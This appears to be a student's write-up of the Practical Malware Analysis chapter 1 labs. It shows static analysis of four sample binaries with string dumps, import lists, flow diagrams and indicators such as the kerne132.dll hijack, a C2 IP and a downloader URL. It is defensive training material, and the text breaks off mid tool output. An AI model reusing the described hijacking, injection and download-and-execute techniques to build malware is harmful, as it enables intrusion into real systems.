First Seen In The Wild: 2012-01-08 02:19:06 UTC 
First Submission: 2012-02-16 07:31:54 UTC 
Last Submission: 2026-02-02 07:25:44 UTC 
Last Analysis: 2026-02-01 03:58:36 UTC
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Lab-01-01.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Creation Time: 2010-12-19 16:16:38 UTC 
First Seen In The Wild: 2010-12-19 09:16:38 UTC 
First Submission: 2011-07-04 19:57:48 UTC 
Last Submission: 2026-02-02 07:27:31 UTC 
Last Analysis: 2026-01-31 11:23:05 UTC
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Are there any indications that either of these files is packed or obfuscated. If so, what are these indicators?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;We can use &lt;code&gt;Detect it Easy (DiE)&lt;/code&gt; for this task, it has entropy section which shows the randomness of each section, which can be indicators to see obfuscation.&lt;/li&gt;
&lt;li&gt;Lab-01-01.exe (Not Packed)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202130832.png&quot; alt=&quot;Pasted image 20260202130832.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202130900.png&quot; alt=&quot;Pasted image 20260202130900.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Lab 01-01.dll (Not Packed)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202131148.png&quot; alt=&quot;Pasted image 20260202131148.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202131207.png&quot; alt=&quot;Pasted image 20260202131207.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;4. Do any imports hint at what this malware does? If so, which imports are they?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;To see imports we can use &lt;code&gt;pestudio&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;Lab-01-01.exe
&lt;ul&gt;
&lt;li&gt;Imports = Windows API functions that the program &lt;strong&gt;calls from DLLs (like KERNEL32.dll)&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Start
 └─► CopyFileA()
      └─► Drop malicious DLL
           &quot;Lab01-01.dll&quot;
           ↓
           &quot;%WINDIR%\\System32\\kerne132.dll&quot;
 └─► FindFirstFileA(&quot;C:\\*&quot;)
      └─► FindNextFileA()
           ├─► If directory
           │     └─► Recurse (FindFirstFileA)
           └─► If *.exe
                 └─► CreateFileA(target.exe)
                      └─► CreateFileMappingA()
                           └─► MapViewOfFile()
                                └─► Parse PE headers
                                     └─► Locate Import Table
                                          └─► Replace:
                                               &quot;kernel32.dll&quot;
                                               ↓
                                               &quot;kerne132.dll&quot;
                                └─► UnmapViewOfFile()
                      └─► CloseHandle()
      └─► Repeat until no files left
 └─► FindClose()
End
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202131504.png&quot; alt=&quot;Pasted image 20260202131504.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Lab-01-01.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;DLL Loaded (via infected EXE)
 └─► DllMain(DLL_PROCESS_ATTACH)
      └─► CreateMutexA()
           └─► OpenMutexA()
                └─► Ensure single instance (avoid double execution)
      └─► Sleep()
           └─► Timing / sandbox evasion
      └─► WSAStartup()
           └─► Initialize Winsock
      └─► socket()
           └─► Create TCP socket
      └─► inet_addr()
           └─► Convert hardcoded IP address
      └─► htons()
           └─► Convert hardcoded port
      └─► connect()
           └─► Connect to remote C2 server
      └─► send()
           └─► Transmit host data / beacon
      └─► recv()
           └─► Receive attacker commands / response
      └─► shutdown()
           └─► Graceful connection close
      └─► closesocket()
           └─► Release socket
      └─► WSACleanup()
           └─► Cleanup Winsock
      └─► CreateProcessA()
           └─► Execute command or spawn process
      └─► CloseHandle()
End
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202132510.png&quot; alt=&quot;Pasted image 20260202132510.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;5. Are there any other files or host-based indicators that you could look for on infected systems?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Examining the strings contained within Lab01-01.exe more closely reveals that it is referencing a file called &lt;code&gt;C:\windows\system32\kerne132.dll&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;This is a very subtle misspelling of the legitimate &lt;code&gt;Kernel32.dll&lt;/code&gt; file (notice the use of &lt;strong&gt;1&lt;/strong&gt; instead of &lt;strong&gt;l&lt;/strong&gt;) because of this it is likely malicious and we are able to use this to search for infected systems.&lt;/li&gt;
&lt;li&gt;I used &lt;code&gt;floss&lt;/code&gt; tool for strings analysis,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ /opt/floss Lab01-01.exe

INFO: floss: extracting static strings
finding decoding function features: 100%|██████████████| 13/13 [00:00&amp;lt;00:00, 1565.44 functions/s, skipped 1 library functions (7%)]
INFO: floss.stackstrings: extracting stackstrings from 9 functions
extracting stackstrings: 100%|███████████████████████████████████████████████████████████████| 9/9 [00:00&amp;lt;00:00, 55.13 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 0 functions...
extracting tightstrings: 0 functions [00:00, ? functions/s]
INFO: floss.string_decoder: decoding strings
emulating function 0x401951 (call 1/1): 100%|████████████████████████████████████████████████| 9/9 [00:01&amp;lt;00:00,  5.48 functions/s]
INFO: floss: finished execution after 6.46 seconds
INFO: floss: rendering results


FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)

+------------------------+------------------------------------------------------------------------------------+
| file path              | Lab01-01.exe                                                                       |
| identified language    | unknown                                                                            |
| extracted strings      |                                                                                    |
|  static strings        | 71 (648 characters)                                                                |
|   language strings     |  0 (  0 characters)                                                                |
|  stack strings         | 0                                                                                  |
|  tight strings         | 0                                                                                  |
|  decoded strings       | 0                                                                                  |
+------------------------+------------------------------------------------------------------------------------+

.
.
.
CloseHandle
UnmapViewOfFile
IsBadReadPtr
MapViewOfFile
CreateFileMappingA
CreateFileA
FindClose
FindNextFileA
FindFirstFileA
CopyFileA
.
.
.
KERNEL32.dll
malloc
exit
MSVCRT.dll
.
.
.
kerne132.dll
kernel32.dll
.exe
C:\*
C:\windows\system32\kerne132.dll
Kernel32.
Lab01-01.dll
C:\Windows\System32\Kernel32.dll
WARNING_THIS_WILL_DESTROY_YOUR_MACHINE

+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (4) |
+------------------------------------+

@jjj
@jjj
@jjj
@jjj

 ─────────────────────────
  FLOSS STACK STRINGS (0)
 ─────────────────────────

 ─────────────────────────
  FLOSS TIGHT STRINGS (0)
 ─────────────────────────

 ───────────────────────────
  FLOSS DECODED STRINGS (0)
 ───────────────────────────
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So this is the &lt;code&gt;C:\windows\system32\kerne132.dll&lt;/code&gt; which is loaded so this can be another indicator in host system.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6. What network-based indicators could be used to find this malware on infected machines?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Lab-01-01.dll&lt;/li&gt;
&lt;li&gt;Examining the strings contained within Lab01-01.dll more closely reveals that there is what appears to be an IP address.&lt;/li&gt;
&lt;li&gt;Because of this and the network imports, it is highly likely that this DLL contacts this IP address, and as such we are able to use this to find infected systems which have contacted &lt;code&gt;127.26.152.13&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ /opt/floss Lab01-01.dll

INFO: floss: extracting static strings
finding decoding function features: 100%|███████████████| 5/5 [00:00&amp;lt;00:00, 2200.12 functions/s, skipped 2 library functions (40%)]
INFO: floss.stackstrings: extracting stackstrings from 1 functions
extracting stackstrings: 100%|███████████████████████████████████████████████████████████████| 1/1 [00:00&amp;lt;00:00, 40.17 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 0 functions...
extracting tightstrings: 0 functions [00:00, ? functions/s]
INFO: floss.string_decoder: decoding strings
emulating function 0x10001010 (call 1/1): 100%|██████████████████████████████████████████████| 1/1 [00:00&amp;lt;00:00, 60.43 functions/s]
INFO: floss: finished execution after 4.67 seconds
INFO: floss: rendering results


FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)

+------------------------+------------------------------------------------------------------------------------+
| file path              | Lab01-01.dll                                                                       |
| identified language    | unknown                                                                            |
| extracted strings      |                                                                                    |
|  static strings        | 37 (301 characters)                                                                |
|   language strings     |  0 (  0 characters)                                                                |
|  stack strings         | 0                                                                                  |
|  tight strings         | 0                                                                                  |
|  decoded strings       | 0                                                                                  |
+------------------------+------------------------------------------------------------------------------------+


 ───────────────────────────
  FLOSS STATIC STRINGS (37)
 ───────────────────────────

+----------------------------------+
| FLOSS STATIC STRINGS: ASCII (37) |
+----------------------------------+

!This program cannot be run in DOS mode.
Rich
.text
`.rdata
@.data
.
.
.
CloseHandle
Sleep
CreateProcessA
CreateMutexA
OpenMutexA
KERNEL32.dll
WS2_32.dll
.
.
.
exec
sleep
hello
127.26.152.13
.
.
.
+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (0) |
+------------------------------------+

 ─────────────────────────
  FLOSS STACK STRINGS (0)
 ─────────────────────────

 ─────────────────────────
  FLOSS TIGHT STRINGS (0)
 ─────────────────────────

 ───────────────────────────
  FLOSS DECODED STRINGS (0)
 ───────────────────────────
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7. What would you guess is the purpose of these files?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Based on the observations above, the executable appears to function primarily as a loader for a malicious DLL that acts as a backdoor or &lt;code&gt;remote access trojan (RAT)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Analysis of its imported functions suggests that the executable checks for the presence of &lt;code&gt;C:\Windows\System32\kerne132.dll&lt;/code&gt; and, if absent, copies the malicious DLL to this location to establish persistence.&lt;/li&gt;
&lt;li&gt;Once loaded, the DLL likely initiates outbound communication to a command-and-control (C2) server at &lt;code&gt;127.26.152.13&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Lab 1-2&lt;/h2&gt;
&lt;h3&gt;1. Upload the Lab01-02.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Lab-01-02.exe&lt;/li&gt;
&lt;li&gt;Code insights
&lt;ul&gt;
&lt;li&gt;The binary is a packed (UPX) malware that establishes persistence by installing itself as a Windows service.&lt;/li&gt;
&lt;li&gt;It uses &lt;code&gt;CreateServiceA&lt;/code&gt; to create a service named &lt;code&gt;Malservice&lt;/code&gt; configured to start automatically.&lt;/li&gt;
&lt;li&gt;It also ensures only a single instance runs by creating a mutex named &lt;code&gt;HGL345&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Network capabilities are present via &lt;code&gt;InternetOpenUrlA&lt;/code&gt; to connect to &lt;code&gt;www[.]malwareanalysisbook[.]com&lt;/code&gt;, likely for C2 communication or downloading a next-stage payload.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202142416.png&quot; alt=&quot;Pasted image 20260202142416.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;It is packed with &lt;code&gt;UPX&lt;/code&gt; which is a popular packer,&lt;/li&gt;
&lt;li&gt;As we can see in entropy section, there are 2 section named &lt;code&gt;UPX&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;The first UPX section (UPX1) contains the compressed payload, while the second section (UPX2) contains the unpacking stub and runtime code.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202142651.png&quot; alt=&quot;Pasted image 20260202142651.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202142802.png&quot; alt=&quot;Pasted image 20260202142802.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To unpack this file we can use &lt;code&gt;upx&lt;/code&gt; itself,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ upx -d Lab01-02.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.4       Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser    May 9th 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     16384 &amp;lt;-      3072   18.75%    win32/pe     Lab01-02.exe

Unpacked 1 file.

┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~]
└─$ mv Lab01-02.exe Lab01-02.exe.enpacked
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Lab-01-02.exe.unpacked,
&lt;ul&gt;
&lt;li&gt;Everything is unpacked and we can see all he section.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202143250.png&quot; alt=&quot;Pasted image 20260202143250.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202143328.png&quot; alt=&quot;Pasted image 20260202143328.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3. Do any imports hint at this program’s functionality? If so, which imports are they and what do they tell you?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Again, we can use &lt;code&gt;pestudio&lt;/code&gt; to see imports,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202143524.png&quot; alt=&quot;Pasted image 20260202143524.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Start
 └─► CreateMutexA()
      └─► OpenMutexA()
           └─► Ensure single instance
 └─► GetModuleFileNameA()
      └─► Resolve own executable path
 └─► CreateThread()
      └─► Run main malicious routine asynchronously
 └─► CreateWaitableTimerA()
      └─► SetWaitableTimer()
           └─► WaitForSingleObject()
                └─► Periodic || delayed execution
 └─► OpenSCManagerA()
      └─► Connect to Service Control Manager
 └─► CreateServiceA()
      └─► Install malicious service
 └─► StartServiceCtrlDispatcherA()
      └─► Register service entry point
 └─► InternetOpenA()
      └─► Initialize WinINet
 └─► InternetOpenUrlA()
      └─► Connect to remote URL (C2 / payload host)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. What host- or network-based indicators could be used to identify this malware on infected machines?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;I used &lt;code&gt;floss&lt;/code&gt; for strings analysis,
- We got the C2 domain, &lt;code&gt;hxxp://www[.]malwareanalysisbook[.]com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ /opt/floss Lab01-02.exe.unpacked

INFO: floss: extracting static strings
finding decoding function features: 100%|█████████████| 10/10 [00:00&amp;lt;00:00, 4278.59 functions/s, skipped 1 library functions (10%)]
INFO: floss.stackstrings: extracting stackstrings from 6 functions
extracting stackstrings: 100%|██████████████████████████████████████████████████████████████| 6/6 [00:00&amp;lt;00:00, 167.70 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 0 functions...
extracting tightstrings: 0 functions [00:00, ? functions/s]
INFO: floss.string_decoder: decoding strings
emulating function 0x4012c1 (call 1/1): 100%|████████████████████████████████████████████████| 6/6 [00:00&amp;lt;00:00, 58.90 functions/s]
INFO: floss: finished execution after 4.92 seconds
INFO: floss: rendering results


FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)

+------------------------+------------------------------------------------------------------------------------+
| file path              | Lab01-02.exe.unpacked                                                              |
| identified language    | unknown                                                                            |
| extracted strings      |                                                                                    |
|  static strings        | 58 (625 characters)                                                                |
|   language strings     |  0 (  0 characters)                                                                |
|  stack strings         | 0                                                                                  |
|  tight strings         | 0                                                                                  |
|  decoded strings       | 0                                                                                  |
+------------------------+------------------------------------------------------------------------------------+


 ───────────────────────────
  FLOSS STATIC STRINGS (58)
 ───────────────────────────

+----------------------------------+
| FLOSS STATIC STRINGS: ASCII (55) |
+----------------------------------+

!This program cannot be run in DOS mode.
Rich
.text
`.rdata
@.data
.
.
.
KERNEL32.DLL
ADVAPI32.dll
MSVCRT.dll
WININET.dll
SystemTimeToFileTime
GetModuleFileNameA
CreateWaitableTimerA
ExitProcess
OpenMutexA
SetWaitableTimer
WaitForSingleObject
CreateMutexA
CreateThread
CreateServiceA
StartServiceCtrlDispatcherA
OpenSCManagerA
.
.
.
InternetOpenUrlA
InternetOpenA
MalService
Malservice
HGL345
http://www.malwareanalysisbook.com
Internet Explorer 8.0


+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (3) |
+------------------------------------+

@jjjj
@jjj
@jjj


 ─────────────────────────
  FLOSS STACK STRINGS (0)
 ─────────────────────────

 ─────────────────────────
  FLOSS TIGHT STRINGS (0)
 ─────────────────────────

 ───────────────────────────
  FLOSS DECODED STRINGS (0)
 ───────────────────────────
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lab 1-3&lt;/h2&gt;
&lt;h3&gt;1. Upload the Lab01-03.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Lab01-03.exe&lt;/li&gt;
&lt;li&gt;Code insights
&lt;ul&gt;
&lt;li&gt;The sample demonstrates behavior typical of adware or a &lt;code&gt;Trojan-Clicker&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;It initializes &lt;code&gt;OLE/COM&lt;/code&gt; and uses &lt;code&gt;CoCreateInstance&lt;/code&gt; to instantiate a web browser object (likely &lt;code&gt;IWebBrowser2&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;It then invokes the Navigate method (offset &lt;code&gt;0x2c&lt;/code&gt;) to automatically redirect the user to a hardcoded URL: http://www.malwareanalysisbook.com/ad.html.&lt;/li&gt;
&lt;li&gt;This action is performed without user interaction immediately upon execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202144919.png&quot; alt=&quot;Pasted image 20260202144919.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Here is the output of Detect-it-Easy, and entropy show nothing,
&lt;ul&gt;
&lt;li&gt;Here is the Breakdown:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OS &amp;amp; Architecture:&lt;/strong&gt; Windows 95/32-bit : just an identification hint, likely the minimum required OS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Language:&lt;/strong&gt; &lt;code&gt;ASMx86&lt;/code&gt; - compiled from low-level assembly (common in small labs or malware).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protection:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Generic[Strange sections + Custom DOS]&lt;/code&gt; - unusual PE structure, maybe packed or manually crafted.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Packer:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Compressed or packed data[Section names repeating]&lt;/code&gt; - file is likely &lt;strong&gt;packed or obfuscated&lt;/strong&gt; (maybe UPX or custom packer).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202145541.png&quot; alt=&quot;Pasted image 20260202145541.png&quot; /&gt;)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So i used another tool &lt;code&gt;pe-detective&lt;/code&gt; and it shows that it &lt;code&gt;FSG v1.00 (Eng) → dulek/xt&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;The binary is &lt;strong&gt;packed with FSG (Fast Small Good) v1.00&lt;/strong&gt;, a &lt;strong&gt;PE executable packer&lt;/strong&gt;, written by &lt;strong&gt;dulek&lt;/strong&gt; from the &lt;strong&gt;xt (Xtream / Xtreme) group&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202145909.png&quot; alt=&quot;Pasted image 20260202145909.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3. Do any imports hint at this program’s functionality? If so, which imports are they and what do they tell you?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;I used &lt;code&gt;pestudio&lt;/code&gt; to see imports, it has only 2.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202152401.png&quot; alt=&quot;Pasted image 20260202152401.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;4. What host- or network-based indicators could be used to identify this malware on infected machines?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;It is a future topic that will be covered so for now we pause here.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Lab 1-4&lt;/h2&gt;
&lt;h3&gt;1. Upload the Lab01-04.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Lab-01-04.exe
&lt;ul&gt;
&lt;li&gt;Code Insights
&lt;ul&gt;
&lt;li&gt;This binary is a downloader.&lt;/li&gt;
&lt;li&gt;It uses the &lt;code&gt;URLDownloadToFileA&lt;/code&gt; function to download an executable from &lt;code&gt;http://www.practicalmalwareanalysis.com/updater.exe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The downloaded file is saved to the system directory as &lt;code&gt;C:\Windows\system32\wupdmgrd.exe&lt;/code&gt; and then executed via &lt;code&gt;WinExec&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;This behavior of downloading and executing a remote payload is unequivocally malicious.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202155433.png&quot; alt=&quot;Pasted image 20260202155433.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;This time i used &lt;code&gt;diec&lt;/code&gt; which is CLI version of Detect-it-Easy,
&lt;ul&gt;
&lt;li&gt;Which shows that it is build using &lt;code&gt;cpp&lt;/code&gt; in visual studio.&lt;/li&gt;
&lt;li&gt;And entropy says that it is not packed indeed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ diec -u --verbose Lab01-04.exe

[HEUR/About] Generic Heuristic Analysis by DosX (@DosX_dev)
[HEUR] Scanning has begun!
[HEUR] Scanning to programming language has started!
[HEUR/Any] C library present -&amp;gt; &quot;msvcrt.dll&quot;
[HEUR] Scan completed.
PE32
    Operation system: Windows(95)[I386, 32-bit, GUI]
    Linker: Microsoft Linker(6.00.8168)
    Compiler: Microsoft Visual C/C++(12.00.8168)[C++/std]
    Language: C++
    Tool: Visual Studio(6.0)
    
    
┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ diec Lab01-04.exe -e

Total 1.17687: not packed
  0|PE Header|0|4096|0.671276: not packed
  1|Section(0)[&apos;.text&apos;]|4096|4096|3.12359: not packed
  2|Section(1)[&apos;.rdata&apos;]|8192|4096|1.59136: not packed
  3|Section(2)[&apos;.data&apos;]|12288|4096|0.50793: not packed
  4|Section(3)[&apos;.rsrc&apos;]|16384|20480|0.712982: not packed
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. When was this program compiled?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;For this task i can use &lt;code&gt;readpe&lt;/code&gt; which is cli alternative of &lt;code&gt;pestudio&lt;/code&gt;,
&lt;ul&gt;
&lt;li&gt;Fri, 30 Aug 2019 22:26:59 UTC&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ readpe -H Lab01-04.exe | grep time
    Date/time stamp:                 1567204019 (Fri, 30 Aug 2019 22:26:59 UTC)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Do any imports hint at this program’s functionality? If so, which imports are they and what do they tell you?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;There is another tool &lt;code&gt;pecli&lt;/code&gt; used for which can be used to get PE info like imports etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ pecli info Lab01-04.exe

Metadata
================================================================================
...

Sections
================================================================================
...

Imports
================================================================================
KERNEL32.dll
        0x402010 GetProcAddress
        0x402014 LoadLibraryA
        0x402018 WinExec
        0x40201c WriteFile
        0x402020 CreateFileA
        0x402024 SizeofResource
        0x402028 CreateRemoteThread
        0x40202c FindResourceA
        0x402030 GetModuleHandleA
        0x402034 GetWindowsDirectoryA
        0x402038 MoveFileA
        0x40203c GetTempPathA
        0x402040 GetCurrentProcess
        0x402044 OpenProcess
        0x402048 CloseHandle
        0x40204c LoadResource
ADVAPI32.dll
        0x402000 OpenProcessToken
        0x402004 LookupPrivilegeValueA
        0x402008 AdjustTokenPrivileges
MSVCRT.dll
        0x402054 _snprintf
        0x402058 _exit
        0x40205c _XcptFilter
        0x402060 exit
        0x402064 __p___initenv
        0x402068 __getmainargs
        0x40206c _initterm
        0x402070 __setusermatherr
        0x402074 _adjust_fdiv
        0x402078 __p__commode
        0x40207c __p__fmode
        0x402080 __set_app_type
        0x402084 _except_handler3
        0x402088 _controlfp
        0x40208c _stricmp


Resources:
================================================================================
...
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This is &lt;code&gt;pestudio&lt;/code&gt; output because it gives sus potential malicious imports as red flags,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202160817.png&quot; alt=&quot;Pasted image 20260202160817.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Potential Program Flow,
&lt;ul&gt;
&lt;li&gt;This executable extracts an embedded payload, writes it to disk, elevates privileges, and executes or injects the payload into another process, indicating a dropper with privilege escalation and injection capabilities.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Start
 └─► LoadLibraryA()
      └─► GetProcAddress()
           └─► Dynamically resolve APIs (evasion || flexibility)
 └─► FindResourceA()
      └─► SizeofResource()
           └─► LoadResource()
                └─► Extract embedded payload from resources
 └─► GetTempPathA()
      └─► CreateFileA(temp_file)
           └─► WriteFile()
                └─► Drop extracted payload to disk
 └─► GetWindowsDirectoryA()
      └─► MoveFileA()
           └─► Relocate payload to Windows directory
 └─► OpenProcessToken(GetCurrentProcess())
      └─► LookupPrivilegeValueA()
           └─► AdjustTokenPrivileges()
                └─► Enable elevated privileges
 └─► GetCurrentProcess()
      └─► OpenProcess()
           └─► CreateRemoteThread()
                └─► Inject payload into target process
 └─► WinExec()
      └─► Execute dropped payload
 └─► CloseHandle()
 └─► ExitProcess()
End
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. What host or network-based indicators could be used to identify this malware on infected machines?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;I used &lt;code&gt;floss&lt;/code&gt; for strings analysis,&lt;/li&gt;
&lt;li&gt;This is the C2 domain which is downloading stage2, &lt;code&gt;hxxp[:]//www[.]practicalmalwareanalysis[.]com/updater[.]exe&lt;/code&gt; and it is being put into &lt;code&gt;\system32\wupdmgrd.exe&lt;/code&gt; with this name and being executed using &lt;code&gt;WinExec&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ /opt/floss Lab01-04.exe

INFO: floss: extracting static strings
finding decoding function features: 100%|██████████████| 13/13 [00:00&amp;lt;00:00, 2269.17 functions/s, skipped 1 library functions (7%)]
INFO: floss.stackstrings: extracting stackstrings from 8 functions
extracting stackstrings: 100%|██████████████████████████████████████████████████████████████| 8/8 [00:00&amp;lt;00:00, 105.67 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 0 functions...
extracting tightstrings: 0 functions [00:00, ? functions/s]
INFO: floss.string_decoder: decoding strings
